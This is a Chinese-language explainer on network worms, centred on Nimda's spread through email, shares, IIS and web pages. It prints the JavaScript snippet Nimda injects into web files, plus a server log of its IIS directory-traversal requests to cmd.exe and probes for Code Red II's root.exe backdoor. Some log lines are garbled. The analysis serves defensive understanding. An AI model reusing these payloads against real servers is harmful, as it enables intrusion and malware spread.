① 网络蠕虫病毒代码分析
蠕虫病毒是自包含的程序(或是一套程序),它能传播它自身功能的拷贝或它的某些部分到其
他的计算机系统中(通常是经过网络连接)。请注意,与一般病毒不同,蠕虫不需要将其自身附着到宿主程序,有两种类型的蠕虫:主机蠕虫与网络蠕虫。主计算机蠕虫完全包含在它们运行的计算机中,并且使用网络的连接仅将自身拷贝到其他的计算机中,主计算机蠕虫在将其自身的拷贝加入到另外的主机后,就会终止它自身(因此在任意给定的时刻,只有一个蠕虫的拷贝运行),这种蠕虫有时也叫"野兔",蠕虫病毒一般是通过1434端口漏洞传播。
比如近几年危害很大的“尼姆亚”病毒就是蠕虫病毒的一种,2007年1月流行的“熊猫烧香”以及其变种也是蠕虫病毒。这一病毒利用了微软视窗操作系统的漏洞,计算机感染这一病毒后,会不断自动拨号上网,并利用文件中的地址信息或者网络共享进行传播,最终破坏用户的大部分重要数据。蠕虫病毒的一般防治方法是:使用具有实时监控功能的杀毒软件,并且注意不要轻易打开不熟悉的邮件附件。
形成原因利用漏洞主动进行攻击
此类病毒主要是“红色代码”和“尼姆亚”,以及至今依然肆虐的“求职信”等。由于IE浏览器的漏洞(IFRAMEEXECCOMMAND),使得感染了“尼姆亚”病毒的邮件在不去手工打开附件的情况下病毒就能激活,而此前即便是很多防病毒专家也一直认为,带有病毒附件的邮件,只要不去打开附件,病毒不会有危害。“红色代码”是利用了微软IIS服务器软件的漏洞(idq.dll远程缓存区溢出)来传播,SQL蠕虫王病毒则是利用了微软的数据库系统的一个漏洞进行大肆攻击。
传播方式多样
如“尼姆亚”病毒和”求职信”病毒,可利用的传播途径包括文件、电子邮件、Web服务器、网络共享等等。
病毒制作技术新
与传统的病毒不同的是,许多新病毒是利用当前最新的编程语言与编程技术实现的,易于修改以产生新的变种,从而逃避反病毒软件的搜索。另外,新病毒利用Java、ActiveX、VBScript等技术,可以潜伏在HTML页面里,在上网浏览时触发。
② Nimda蠕虫病毒的分析
被感染的机器会发送一份Nimda病毒代码复本到任何在扫描中发现有漏洞的服务器。一旦在该服务器上运行,蠕虫就会遍历系统里的每一个目录(甚至包括所有通过共享文件可以读取得目录),然后会在磁盘里留下一份自身拷贝,取名为README.EML。一旦找到了含有web内容的目录(包含html或asp文件),下面Javascript代码段就会被添加到每一个跟web有关的文件中:
<script language=JavaScript>window.open(readme.eml,null,
resizable=no,top=6000,left=6000)
</script>
这段代码使得蠕虫可以进一步繁衍,通过浏览器或浏览网络文件感染到新的客户端。
通过浏览器传播
作为感染过程的一部分,Nimda 更改所有的含有web内容的文件(象 .htm,,html,.asp 等文件)。这样,任何用户浏览该文件,不管是通过浏览器还是网络,就可能会下载一份该病毒。有些浏览器会自动的执行下载动作,感染正在浏览该网站的机器。
通过文件系统感染
Nimda病毒生成大量的自身的复本,取名为README.EML,写到该用户有可写权限的目录里。如果在另一台机器的用户通过网络共享选取病毒文件,并且设置了预览功能的话,蠕虫就会威胁到这台新的机器。
系统记录
对任何开放80/tcp端口的web服务器,Nimda蠕虫的扫描会生成下面的日志:
GET /scripts/root.exe?/c+dir
GET /MSADC/root.exe?/c+dir
GET /c/winnt/system32/cmd.exe?/c+dir
GET /d/winnt/system32/cmd.exe?/c+dir
GET /scripts/..%5c../winnt/system32/cmd.exe?/c+dir
GET /_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe?/c+dir
GET /_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe?/c+dir
GET /msadc/..%5c../..%5c../..%5c/.. ../.. ../..
x1c../winnt/system32/cmd.exe?/c+dir
GET /scripts/.. ../winnt/system32/cmd.exe?/c+dir
GET /scripts/.. /../winnt/system32/cmd.exe?/c+dir
GET /scripts/.. ../winnt/system32/cmd.exe?/c+dir
GET /scripts/.. ../winnt/system32/cmd.exe?/c+dir
GET /scripts/..%35c../winnt/system32/cmd.exe?/c+dir
GET /scripts/..%35c../winnt/system32/cmd.exe?/c+dir
GET /scripts/..%5c../winnt/system32/cmd.exe?/c+dir
GET /scripts/..%2f../winnt/system32/cmd.exe?/c+dir
注:这个例子的前四行表明在试图连接Red Code Ⅱ 留下的后门,例子的其余部分在试图利用Directory Traversal 漏洞。
③ 尼姆达病毒的介绍
尼姆达病毒(Nimda)是典型的蠕虫病毒,病毒由JavaScript脚本语言编写,病毒通过email、共享网络资源、IIS服务器、网页浏览传播,修改本地驱动器上的.htm,.html和.asp文件。此病毒可以使IE和Outlook Express加载产生readme.eml病毒文件。该文件将尼姆达蠕虫作为附件,不需要拆开或运行这个附件病毒就被执行。